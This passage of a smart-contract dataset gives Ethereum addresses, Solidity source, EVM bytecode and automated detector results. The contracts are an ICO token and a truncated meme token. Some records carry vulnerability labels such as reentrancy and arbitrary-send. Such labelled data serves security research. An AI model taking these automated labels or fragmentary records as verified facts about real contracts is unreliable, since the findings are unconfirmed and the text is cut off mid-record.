0000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d270465d90ceb4b2af6bfd3dadce4eb1f554d7f6ee98fdda467009df070c3a8264736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,141
0x0587984d6af30f19c00eba3c9c87306de870bae9
pragma solidity ^0.4.23; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); } } // File: contracts/AzwieToken.sol /* * AzwieToken is a standard ERC20 token with some additional functionalities: * - Transfers are only enabled after contract owner enables it (after the ICO) * - Contract sets 40% of the total supply as allowance for ICO contract * * Note: Token Offering == Initial Coin Offering(ICO) */ contract AzwieToken is StandardToken, BurnableToken, Ownable { string public constant symbol = "AZW"; string public constant name = "AZWIE COIN"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); uint256 public constant TOKEN_OFFERING_ALLOWANCE = 400000000 * (10 ** uint256(decimals)); uint256 public constant ADMIN_ALLOWANCE = INITIAL_SUPPLY - TOKEN_OFFERING_ALLOWANCE; // Address of token admin address public adminAddr; // Address of token offering address public tokenOfferingAddr; // Enable transfers after conclusion of token offering bool public transferEnabled = true; /** * Check if transfer is allowed * * Permissions: * Owner Admin OfferingContract Others * transfer (before transferEnabled is true) x x x x * transferFrom (before transferEnabled is true) x o o x * transfer/transferFrom(after transferEnabled is true) o x x o */ modifier onlyWhenTransferAllowed() { require(transferEnabled || msg.sender == adminAddr || msg.sender == tokenOfferingAddr); _; } /** * Check if token offering address is set or not */ modifier onlyTokenOfferingAddrNotSet() { require(tokenOfferingAddr == address(0x0)); _; } /** * Check if address is a valid destination to transfer tokens to * - must not be zero address * - must not be the token address * - must not be the owner&#39;s address * - must not be the admin&#39;s address * - must not be the token offering contract address */ modifier validDestination(address to) { require(to != address(0x0)); require(to != address(this)); require(to != owner); require(to != address(adminAddr)); require(to != address(tokenOfferingAddr)); _; } /** * Token contract constructor * * @param admin Address of admin account */ function AzwieToken(address admin) public { totalSupply_ = INITIAL_SUPPLY; // Mint tokens balances[msg.sender] = totalSupply_; Transfer(address(0x0), msg.sender, totalSupply_); // Approve allowance for admin account adminAddr = admin; approve(adminAddr, ADMIN_ALLOWANCE); } /** * Set token offering to approve allowance for offering contract to distribute tokens * * @param offeringAddr Address of token offering contract * @param amountForSale Amount of tokens for sale, set 0 to max out */ function setTokenOffering(address offeringAddr, uint256 amountForSale) external onlyOwner onlyTokenOfferingAddrNotSet { require(!transferEnabled); uint256 amount = (amountForSale == 0) ? TOKEN_OFFERING_ALLOWANCE : amountForSale; require(amount <= TOKEN_OFFERING_ALLOWANCE); approve(offeringAddr, amount); tokenOfferingAddr = offeringAddr; } /** * Enable transfers */ function enableTransfer() external onlyOwner { transferEnabled = true; // End the offering approve(tokenOfferingAddr, 0); } /** * Transfer from sender to another account * * @param to Destination address * @param value Amount of azwietokens to send */ function transfer(address to, uint256 value) public onlyWhenTransferAllowed validDestination(to) returns (bool) { return super.transfer(to, value); } /** * Transfer from `from` account to `to` account using allowance in `from` account to the sender * * @param from Origin address * @param to Destination address * @param value Amount of azwietokens to send */ function transferFrom(address from, address to, uint256 value) public onlyWhenTransferAllowed validDestination(to) returns (bool) { return super.transferFrom(from, to, value); } /** * Burn token, only owner is allowed to do this * * @param value Amount of tokens to burn */ function burn(uint256 value) public { require(transferEnabled || msg.sender == owner); super.burn(value); } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063095ea7b3146101bd57806318160ddd1461022257806323b872dd1461024d5780632ff2e9dc146102d2578063313ce567146102fd57806342966c681461032e5780634cd412d51461035b5780634d2c29a01461038a57806366188463146103e157806370a0823114610446578063726f63f61461049d57806381830593146104ea5780638da5cb5b1461054157806395d89b4114610598578063a9059cbb14610628578063d73dd6231461068d578063dd62ed3e146106f2578063f0d4753e14610769578063f1b50c1d14610794578063f2fde38b146107ab578063fc53f958146107ee575b600080fd5b34801561013957600080fd5b50610142610819565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610182578082015181840152602081019050610167565b50505050905090810190601f1680156101af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c957600080fd5b50610208600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610852565b604051808215151515815260200191505060405180910390f35b34801561022e57600080fd5b50610237610944565b6040518082815260200191505060405180910390f35b34801561025957600080fd5b506102b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061094e565b604051808215151515815260200191505060405180910390f35b3480156102de57600080fd5b506102e7610bbf565b6040518082815260200191505060405180910390f35b34801561030957600080fd5b50610312610bd0565b604051808260ff1660ff16815260200191505060405180910390f35b34801561033a57600080fd5b5061035960048036038101908080359060200190929190505050610bd5565b005b34801561036757600080fd5b50610370610c54565b604051808215151515815260200191505060405180910390f35b34801561039657600080fd5b5061039f610c67565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ed57600080fd5b5061042c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c8d565b604051808215151515815260200191505060405180910390f35b34801561045257600080fd5b50610487600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f1e565b6040518082815260200191505060405180910390f35b3480156104a957600080fd5b506104e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f66565b005b3480156104f657600080fd5b506104ff6110c9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054d57600080fd5b506105566110ef565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105a457600080fd5b506105ad611115565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ed5780820151818401526020810190506105d2565b50505050905090810190601f16801561061a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561063457600080fd5b50610673600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114e565b604051808215151515815260200191505060405180910390f35b34801561069957600080fd5b506106d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b604051808215151515815260200191505060405180910390f35b3480156106fe57600080fd5b50610753600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115b9565b6040518082815260200191505060405180910390f35b34801561077557600080fd5b5061077e611640565b6040518082815260200191505060405180910390f35b3480156107a057600080fd5b506107a9611651565b005b3480156107b757600080fd5b506107ec600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116f8565b005b3480156107fa57600080fd5b50610803611850565b6040518082815260200191505060405180910390f35b6040805190810160405280600a81526020017f415a57494520434f494e0000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b6000600560149054906101000a900460ff16806109b85750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610a105750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610a1b57600080fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a5857600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a9357600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610af057600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610b4d57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610baa57600080fd5b610bb5858585611870565b9150509392505050565b601260ff16600a0a633b9aca000281565b601281565b600560149054906101000a900460ff1680610c3d5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610c4857600080fd5b610c5181611c2a565b50565b600560149054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d9e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e32565b610db18382611d7c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fc457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561102157600080fd5b600560149054906101000a900460ff1615151561103d57600080fd5b6000821461104b578161105a565b601260ff16600a0a6317d78400025b9050601260ff16600a0a6317d7840002811115151561107857600080fd5b6110828382610852565b5082600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f415a57000000000000000000000000000000000000000000000000000000000081525081565b6000600560149054906101000a900460ff16806111b85750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806112105750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561121b57600080fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561125857600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561129357600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156112f057600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561134d57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113aa57600080fd5b6113b48484611d95565b91505092915050565b600061144e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fb490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601260ff16600a0a6317d784000281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116ad57600080fd5b6001600560146101000a81548160ff0219169083151502179055506116f5600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000610852565b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561175457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561179057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601260ff16600a0a6317d7840002601260ff16600a0a633b9aca00020381565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156118ad57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156118fa57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561198557600080fd5b6119d6826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7c90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a69826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fb490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b3a82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7c90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c7957600080fd5b339050611ccd826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7c90919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d2482600154611d7c90919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b6000828211151515611d8a57fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611dd257600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611e1f57600080fd5b611e70826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7c90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f03826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fb490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808284019050838110151515611fc857fe5b80915050929150505600a165627a7a72305820e359e6b1de36ff0987d20ba3a9b1b823f8635e3f3cf8f974e87927ee11c4b3eb0029
{"success": true, "error": null, "results": {}}
3,142
0xd50714dfe37aadb224036f59b4cdb2fb82087aa9
/** *Submitted for verification at Etherscan.io on 2021-10-20 */ /* https://t.me/ShibaEmperorer */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ShibaEmperor is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ShibaEmperor"; string private constant _symbol = "SHIMP"; uint8 private constant _decimals = 9; //RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 6; uint256 private _redisfee = 1; //Bots mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private 